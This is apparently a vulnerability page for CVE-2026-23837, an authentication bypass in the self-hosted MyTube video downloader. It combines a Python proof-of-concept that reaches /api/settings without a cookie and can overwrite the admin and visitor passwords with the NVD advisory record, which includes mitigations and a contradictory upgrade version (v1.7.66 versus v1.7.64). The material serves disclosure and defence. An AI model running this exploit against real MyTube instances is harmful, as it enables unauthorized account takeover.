CVE-2026-23837

import requests # CVE-2026-23837 PoC - MyTube Authentication Bypass # Target: MyTube <= 1.7.65 # Vulnerability: roleBasedAuthMiddleware bypass via missing auth cookie TARGET_URL = "http://target:3000" def check_vulnerability(): """Check if target is vulnerable by accessing settings without auth""" # Step 1: Access /api/settings without authentication cookie url = f"{TARGET_URL}/api/settings" headers = { "Content-Type": "application/json" } # Request without auth cookie - req.user will be undefined response = requests.get(url, headers=headers) if response.status_code == 200: print("[+] VULNERABLE: Settings endpoint accessible without auth") print(f"[+] Response: {response.text}") return True else: print(f"[-] Not vulnerable or target unreachable (Status: {response.status_code})") return False def exploit_settings_change(): """Exploit: Modify admin/visitor password via unprotected API""" url = f"{TARGET_URL}/api/settings" # Payload to change admin password payload = { "adminPassword": "hacked123", "visitorPassword": "hacked" } response = requests.post(url, json=payload) if response.status_code == 200: print("[+] SUCCESS: Passwords modified via unprotected endpoint") return True return False if __name__ == "__main__": print("CVE-2026-23837 MyTube Auth Bypass PoC") print("=" * 50) check_vulnerability() # Uncomment to execute exploit: # exploit_settings_change()

{"cve": {"id": "CVE-2026-23837", "sourceIdentifier": "[email protected]", "published": "2026-01-19T21:15:50.903", "lastModified": "2026-02-02T13:24:34.437", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MyTube is a self-hosted downloader and player for several video websites. A vulnerability present in version 1.7.65 and poetntially earlier versions allows unauthenticated users to bypass the mandatory authentication check in the roleBasedAuthMiddleware. By simply not providing an authentication cookie (making req.user undefined), a request is incorrectly passed through to downstream handlers. All users running MyTube with loginEnabled: true are impacted. This flaw allows an attacker to access and modify application settings via /api/settings, change administrative and visitor passwords, and access other protected routes that rely on this specific middleware. The problem is patched in v1.7.66. MyTube maintainers recommend all users upgrade to at least version v1.7.64 immediately to secure their instances. The fix ensures that the middleware explicitly blocks requests if a user is not authenticated, rather than defaulting to next(). Those who cannot upgrade immediately can mitigate risk by restricting network access by usi a firewall or reverse proxy (like Nginx) to restrict access to the /api/ endpoints to trusted IP addresses only or, if they are comfortable editing the source code, manually patch by locating roleBasedAuthMiddleware and ensuring that the logic defaults to an error (401 Unauthorized) when req.user is undefined, instead of calling next()."}, {"lang": "es", "value": "MyTube es un descargador y reproductor autoalojado para varios sitios web de vídeo. Una vulnerabilidad presente en la versión 1.7.65 y potencialmente en versiones anteriores permite a los usuarios no autenticados eludir la comprobación de autenticación obligatoria en el roleBasedAuthMiddleware. Simplemente al no proporcionar una cookie de autenticación (haciendo que req.user sea indefinido), una solicitud se pasa incorrectamente a los manejadores posteriores. Todos los usuarios que ejecutan MyTube con loginEnabled: true se ven afectados. Esta falla permite a un atacante acceder y modificar la configuración de la aplicación a través de /API/settings, cambiar las contraseñas administrativas y de visitante, y acceder a otras rutas protegidas que dependen de este middleware específico. El problema está parcheado en la v1.7.66. Los mantenedores de MyTube recomiendan a todos los usuarios actualizar a la versión v1.7.64 como mínimo inmediatamente para asegurar sus instancias. La solución asegura que el middleware bloquea explícitamente las solicitudes si un usuario no está autenticado, en lugar de recurrir a next(). Aquellos que no puedan actualizar inmediatamente pueden mitigar el riesgo restringiendo el acceso a la red usando un cortafuegos o un proxy inverso (como Nginx) para restringir el acceso a los puntos finales /API/ solo a direcciones IP de confianza o, si se sienten cómodos editando el código fuente, aplicar un parche manualmente localizando roleBasedAuthMiddleware y asegurándose de que la lógica recurra a un error (401 Unauthorized) cuando req.user sea indefinido, en lugar de llamar a next()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:franklioxygen:mytube:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.66", "matchCriteriaId": "2C05A30F-C789-4252-9C6D-E381B1D1E670"}]}]}], "references": [{"url": "https://github.com/franklioxygen/MyTube/commit/f85ae9b0d6e4a6480c6af5b675a99069d08d496e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/franklioxygen/MyTube/security/advisories/GHSA-cmvj-g69f-8664", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}